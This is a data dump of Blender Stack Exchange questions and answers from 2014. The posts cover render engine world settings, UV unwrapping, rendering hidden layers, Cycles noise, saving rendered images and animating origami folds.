  <row Id="6753" PostTypeId="1" AcceptedAnswerId="6754" CreationDate="2014-02-04T20:12:28.290" Score="3" ViewCount="6927" Body="&lt;p&gt;In my world setup (right bar) I can not access all the options I can as shown on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:DE/2.6/Manual/World&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; on the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my screen it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Vncsv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vncsv.jpg&quot; alt=&quot;World Setup Right Bar&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, environment lighting, gather, indirect lighting, ambient occlusion mode (add, multiply), and the entire world tab (horizon, zenith color) are all missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there is something else.&lt;br&gt;&#xA;About 15 minutes ago I wanted to write this post but when I switched back to blender to look for the properties that are missing all properties where there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I thought 'Ok great' but now everything is missing again.&#xA;And I don't know why they suddenly appeared.&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="2952" LastEditDate="2015-12-06T07:30:55.703" LastActivityDate="2015-12-06T07:30:55.703" Title="Some settings in properties &gt; world are missing?" Tags="&lt;rendering&gt;&lt;interface&gt;&lt;world&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6754" PostTypeId="2" ParentId="6753" CreationDate="2014-02-04T20:14:05.640" Score="7" Body="&lt;p&gt;This is because you are using &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles&lt;/a&gt;&lt;/em&gt; as your render engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/World&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the correct wiki page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those settings you saw are only there when &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render#Rendering&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Blender Render&lt;/em&gt;&lt;/a&gt; (also known as &lt;em&gt;Blender Internal&lt;/em&gt; or &lt;em&gt;BI&lt;/em&gt;) is selected as the active render engine in the &lt;em&gt;Info panel &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LVjU0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note you &lt;em&gt;can&lt;/em&gt; do everything that you could do using those settings in BI in Cycles, however the process for setting some of the things up is different in Cycles.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The number of samples is controlled in &lt;em&gt;Properties &gt; Render settings &gt; Sampling&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VJPlM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that samples behave differently in cycles and BI, see &lt;a href=&quot;https://blender.stackexchange.com/q/4980/599&quot;&gt;this question&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;AO in cycles is always &lt;em&gt;added&lt;/em&gt;, if you want to &lt;em&gt;multiply&lt;/em&gt; you must enable the AO pass in &lt;em&gt;Render Layers &gt; Passes&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jTGj6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then multiply it with your render in the compositor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Msevd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Msevd.png&quot; alt=&quot;Example image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The world background color can be set either from the world settings or the world nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iv9hE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both settings are the same, setting one sets the other. If you want sky textures or gradients, use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Textures&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Texture&lt;/em&gt;&lt;/a&gt; and &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Mapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mapping&lt;/a&gt;&lt;/em&gt; nodes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-02-04T21:56:14.527" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6755" PostTypeId="1" AcceptedAnswerId="6757" CreationDate="2014-02-04T20:30:37.263" Score="21" ViewCount="146927" Body="&lt;p&gt;Is there a way to automatically unwrap my character? If not, is there a tutorial or something?&lt;/p&gt;&#xA;" OwnerDisplayName="user2087" LastEditorUserId="599" LastEditDate="2014-02-04T20:38:48.287" LastActivityDate="2020-08-11T00:09:40.760" Title="How to properly unwrap my mesh?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="6756" PostTypeId="2" ParentId="6755" CreationDate="2014-02-04T20:36:05.307" Score="11" Body="&lt;p&gt;You can try using &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/meshes/editing/uv.html#smart-uv-project&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Smart UV project&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your model and switch to edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&amp;gt; Smart UV Project&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;However, I suggest you look at some tutorials. &lt;a href=&quot;https://www.google.com/search?q=blender%20uv%20unwrap&quot; rel=&quot;nofollow noreferrer&quot;&gt;A search engine should be your friend here&lt;/a&gt;, but here are a couple to start you off:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/9Ha2rFR6qO0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Cookie&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/1026/599&quot;&gt;This answer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/meshes/editing/uv.html#unwrap&quot; rel=&quot;nofollow noreferrer&quot;&gt;The manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-08-11T00:09:40.760" LastActivityDate="2020-08-11T00:09:40.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6757" PostTypeId="2" ParentId="6755" CreationDate="2014-02-04T20:43:32.093" Score="26" Body="&lt;p&gt;Unwrapping is a skill in and of itself. There really is no right or wrong. You have to judge that yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a &lt;a href=&quot;https://www.youtube.com/watch?v=e9p9dYcvIzc&amp;amp;list=TL60v8BSV0JXXyGJ5pGk-vsEGJwr8p7PB4&quot;&gt;fairly extensive tutorial&lt;/a&gt; on it, but here's a quick overview:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Figure out where to flow of the mesh and plan where to place the seams. Wherever you place a seam, Blender will &quot;cut&quot; the 3D model and try to flatten it. You want to make sure first and foremost that it will be able to split apart into even planes, otherwise you will get major warping issues.&lt;/li&gt;&#xA;&lt;li&gt;Open up a UV editor and start placing the seams on the mesh (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; &gt; Mark Seam).&lt;/li&gt;&#xA;&lt;li&gt;UV unwrap the model (&lt;kbd&gt;U&lt;/kbd&gt; &gt; Unwrap) and make sure it unwrapped the way you expected.&lt;/li&gt;&#xA;&lt;li&gt;Tweak the seams until you're happy with the result.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After you unwrap a few meshes you'll get the hang of it, and you'll be able to unwrap quickly and cleanly.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2014-02-04T20:53:13.883" LastActivityDate="2014-02-04T20:53:13.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6758" PostTypeId="1" AcceptedAnswerId="6759" CreationDate="2014-02-04T21:00:44.447" Score="2" ViewCount="1941" Body="&lt;p&gt;I'm trying to UV unwrap the inside of a barrel I made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, when I select the inside of my barrel, and use the&lt;br&gt;&#xA;&lt;em&gt;Mesh &gt; UV Unwrap... &gt; Cylinder Projection&lt;/em&gt;, I get a weird unwrapped form. How can I solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bAfRH.jpg&quot; alt=&quot;Unwrapping the barrel inside&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2359" LastEditorUserId="1363" LastEditDate="2014-02-04T22:08:26.757" LastActivityDate="2014-07-12T01:10:09.513" Title="Unwrapping the inside of a barrel" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6759" PostTypeId="2" ParentId="6758" CreationDate="2014-02-04T21:02:46.297" Score="4" Body="&lt;p&gt;Cylinder Projection is based on the angle of the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try switching to front (&lt;kbd&gt;Numpad 1&lt;/kbd&gt;) or side view (&lt;kbd&gt;Numpad 3&lt;/kbd&gt;), then unwrapping again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c71j4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c71j4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-02-04T21:26:25.373" LastActivityDate="2014-02-04T21:26:25.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6760" PostTypeId="1" AcceptedAnswerId="6761" CreationDate="2014-02-04T21:03:20.013" Score="3" ViewCount="320" Body="&lt;p&gt;I wam new to blender. I have a large forest I would like to render. Blender gets extreme lag and usually completely crashes when I display the whole scene. I split the forest into multiple layers. Is there a way to render all the necessary layers without displaying them in the 3d view? &lt;/p&gt;&#xA;" OwnerUserId="2358" LastEditorUserId="2217" LastEditDate="2014-08-17T02:53:29.410" LastActivityDate="2014-08-17T02:53:29.410" Title="Render Layers Without Displaying Them In 3D Viewport" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;3d-view&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6761" PostTypeId="2" ParentId="6760" CreationDate="2014-02-04T21:06:48.507" Score="1" Body="&lt;p&gt;Yes, this is possible, however there might be better ways of handling this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/Layers#Locking_to_the_scene&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Lock layers to scene&lt;/em&gt;&lt;/a&gt; in the &lt;em&gt;3D view &gt; Header&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can set the Scene layers in &lt;em&gt;Properties &gt; Renderlayers&lt;/em&gt; to the layers you want to render (in this case, 1, 2, and 3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Wd1e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that only layer 1 is visible in the viewport.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-04T21:06:48.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6762" PostTypeId="2" ParentId="6758" CreationDate="2014-02-04T21:07:56.883" Score="3" Body="&lt;p&gt;Blender's automatic UV unwrapping doesn't always work correctly. You can do it manually easily if you mark(&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; &gt; Mark Seam) the top seam, the bottom seam and one seam down the middle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y1Lz5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then unwrap (&lt;kbd&gt;U&lt;/kbd&gt; &gt; Unwrap):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N6TYa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-02-04T21:07:56.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6763" PostTypeId="1" AcceptedAnswerId="6774" CreationDate="2014-02-04T21:11:44.863" Score="8" ViewCount="3275" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WZry0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I'm asking: It seems that I've fumbled too much with these options and weird things happen.I couldn't find any meaningful explanation in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Editing&quot; rel=&quot;noreferrer&quot;&gt;docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do these options influence, especially on keying and editing actions (poselibs)?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-02-05T17:07:07.297" Title="What do the preferences keyframing options actually mean?" Tags="&lt;animation&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6764" PostTypeId="2" ParentId="6758" CreationDate="2014-02-04T21:17:42.150" Score="0" Body="&lt;p&gt;Aside from the ideas above you may also try applying the &lt;em&gt;Location&lt;/em&gt;, &lt;em&gt;Rotation&lt;/em&gt; and &lt;em&gt;Scale&lt;/em&gt; in &lt;em&gt;Object Mode&lt;/em&gt; using Ctrl-A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not doing so will really screw up a lot of the various operations in Blender, this includes UV unwrapping.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-02-04T21:17:42.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6766" PostTypeId="2" ParentId="6610" CreationDate="2014-02-04T21:34:33.327" Score="1" Body="&lt;p&gt;You could also try using &lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/faces.html?highlight=quad#convert-triangles-to-quads&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Tris To Quads&lt;/em&gt;&lt;/a&gt;. Access in edit-mode from the menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Mesh -&gt; Faces -&gt; Tris to Quad&lt;/em&gt; or by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;J&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="55" LastEditDate="2015-04-02T05:35:12.967" LastActivityDate="2015-04-02T05:35:12.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6767" PostTypeId="1" AcceptedAnswerId="6773" CreationDate="2014-02-04T22:12:30.470" Score="8" ViewCount="7369" Body="&lt;p&gt;I want to make an animation of folding origami, so I want to know how to animate the rotation of a plane around an axis.&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="599" LastEditDate="2014-02-05T04:30:04.067" LastActivityDate="2014-02-05T06:34:26.873" Title="How to make folding Origami animation" Tags="&lt;animation&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6768" PostTypeId="2" ParentId="6748" CreationDate="2014-02-04T23:25:34.180" Score="4" Body="&lt;p&gt;Cycles is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Ray_casting&quot; rel=&quot;nofollow noreferrer&quot;&gt;raycast-based render engine&lt;/a&gt;. It shoots thousands of rays from the camera and bounces them off surfaces randomly to compute the lighting. In order to produce a less-noisy result, you may increase the samples of your render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oPKeN.png&quot; alt=&quot;Samples&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This boosts the number of times it shoots rays from the same camera pixels. Since a surface (unless it's a mirror) scatters light, each time a ray bounces off a surface it must go in a random direction. Additional samples help average out this result by bouncing it multiple times per pixel and blending the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the end, your result will always be noisy to some degree. Boosting the samples is a good way to avoid this, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to avoid noise is to change the rendering method to Blender Internal or a third party renderer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KWn7j.png&quot; alt=&quot;Blender Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a raycast renderer, so it simulates lighting in a non-photo-realistic (NPR) way. However, please note that development for the Blender internal renderer has ceased and Blender is generally transitioning to Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested in learning more about how Cycles or raycast renderers work, please take a look at my question:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/2274/why-cant-cycles-cast-1-ray-per-image-pixel-instead-renders-progressively-to-in&quot;&gt;Why Can&amp;#39;t Cycles Cast 1 Ray per Image Pixel, Instead Renders Progressively to Infinity?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to learn why some areas of an image are more noisy than others, which may help you avoid especially noisy areas, see my other question: &lt;a href=&quot;https://blender.stackexchange.com/questions/2275/what-is-the-reason-cycles-creates-incorrectly-colored-firefly-artifact-pixels&quot;&gt;What is the Reason Cycles Creates Incorrectly Colored/Firefly Artifact Pixels?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-02-04T23:25:34.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6769" PostTypeId="1" AcceptedAnswerId="6772" CreationDate="2014-02-04T23:45:20.243" Score="28" ViewCount="76467" Body="&lt;p&gt;I usually am able to render successfully to the &lt;code&gt;c:\tmp&lt;/code&gt; folder, but when I came into work today, I rendered out the image on my work laptop, and everything seems to work, but I'm not getting an output to the tmp directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to make this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GeUOD.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="8262" LastEditDate="2015-12-16T23:13:44.183" LastActivityDate="2019-09-08T21:08:58.063" Title="No file output after rendering?" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6770" PostTypeId="2" ParentId="6744" CreationDate="2014-02-04T23:59:53.443" Score="2" Body="&lt;p&gt;Gandalf3's answer is spot on. My only contribution would be: Wait a few days to see what bugs may have made it pass an initial release. On our production we usually ask one or two people to test out the RC (release candidates) before we move up. What you earn in moving up is quite valuable (faster render times, 2.7 is looking to improve animation speeds.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this being said, Blender is one of the most well written, back-compatible pieces of software out there. Moving up is no problem.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2014-02-04T23:59:53.443" CommentCount="1" CommunityOwnedDate="2014-02-04T23:59:53.443" ContentLicense="CC BY-SA 3.0" />
  <row Id="6771" PostTypeId="2" ParentId="6769" CreationDate="2014-02-05T00:18:14.270" Score="11" Body="&lt;p&gt;&lt;strong&gt;It sounds like you're rendering a preview, not the image.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you already rendered your image, push &lt;kbd&gt;F3&lt;/kbd&gt; to save it as &lt;a href=&quot;https://blender.stackexchange.com/a/6772/743&quot;&gt;originally suggested in Gandalf's answer.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However, if you want to render it and get a file without having to touch it later, follow these steps:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I suggest you first set your output directory to your desktop or another non-temporary place:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0XMC5.png&quot; alt=&quot;Output directory&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To start,&lt;/strong&gt;&lt;br&gt;&#xA;Set your animation length to 1 frame long, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9p9Fu.png&quot; alt=&quot;Animation Length&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now make sure you have the proper image file output format selected, like PNG:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZNReZ.png&quot; alt=&quot;PNG file format&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt; to render the &quot;animation&quot; (which is actually the one frame) or click &lt;em&gt;Render&lt;/em&gt; &gt; &lt;em&gt;Render Animation&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lZDsA.png&quot; alt=&quot;Render Animation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After your single frame finishes rendering, you will have the image on your desktop or wherever you set the output.&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2014-02-05T01:58:11.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6772" PostTypeId="2" ParentId="6769" CreationDate="2014-02-05T01:11:51.367" Score="32" Body="&lt;p&gt;As an extension of &lt;a href=&quot;https://blender.stackexchange.com/a/6771/599&quot;&gt;Keavon's answer&lt;/a&gt;, Blender does not write still renders to the hard drive by default in the GUI. Command line renders &lt;em&gt;are&lt;/em&gt; written to the hard drive automatically, and there is an &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Auto_Save&quot; rel=&quot;noreferrer&quot;&gt;addon&lt;/a&gt; which adds this functionality in the GUI. (see &lt;a href=&quot;https://blender.stackexchange.com/a/491/599&quot;&gt;this post&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few ways to work around this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Render a one frame animation as in &lt;a href=&quot;https://blender.stackexchange.com/a/6771/599&quot;&gt;Keavon's answer&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save the image manually from the &lt;em&gt;UV/Image editor&lt;/em&gt; after the render is complete (press &lt;kbd&gt;F3&lt;/kbd&gt; with the cursor in the image editor, or select the option from the header):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/02LjM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.8 Use the Image Editor, and select Image &gt; Save As (or press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/L00EF.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L00EF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will be taken to the &lt;em&gt;File Browser&lt;/em&gt; with options to set the format and location of the saved image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yVVHt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render by running &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.ops.render.html?#bpy.ops.render.render&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.ops.render.render(write_still=True)&lt;/code&gt;&lt;/a&gt; in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Console&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Python Console&lt;/em&gt;&lt;/a&gt;. The render will be written to the output path.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Output#File_Output_Node&quot; rel=&quot;noreferrer&quot;&gt;File Output node&lt;/a&gt;&lt;/em&gt; as &lt;a href=&quot;https://blender.stackexchange.com/questions/6769/no-file-output-after-rendering/6772#comment10785_6772&quot;&gt;mentioned by Matt&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i77N3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will create a file &lt;code&gt;/tmp/test.png&lt;/code&gt;. Note that the &lt;em&gt;File output node&lt;/em&gt; has format and output path settings in the &lt;em&gt;Properties region&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;) which are separate from the scene settings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorDisplayName="user1853" LastEditDate="2019-05-15T16:14:45.057" LastActivityDate="2019-05-15T16:14:45.057" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="6773" PostTypeId="2" ParentId="6767" CreationDate="2014-02-05T04:01:29.493" Score="9" Body="&lt;p&gt;I remember making an animation folding a crane in the past. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It involved making a real crane, unfolding it then cutting a plane mesh where the folds are in the real one. You have to double up on each cut as real paper folds have a little thickness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add an armature with a bone for each plane, joined at the doubled hinges, then animate the armature.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll see if I can dig up the blend file and provide a clearer explanation. The thing I remember most it's that it is not trivial! Don't expect it to be done in an hour.&lt;/p&gt;&#xA;" OwnerUserId="429" LastEditorUserId="429" LastEditDate="2014-02-05T04:44:32.787" LastActivityDate="2014-02-05T04:44:32.787" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
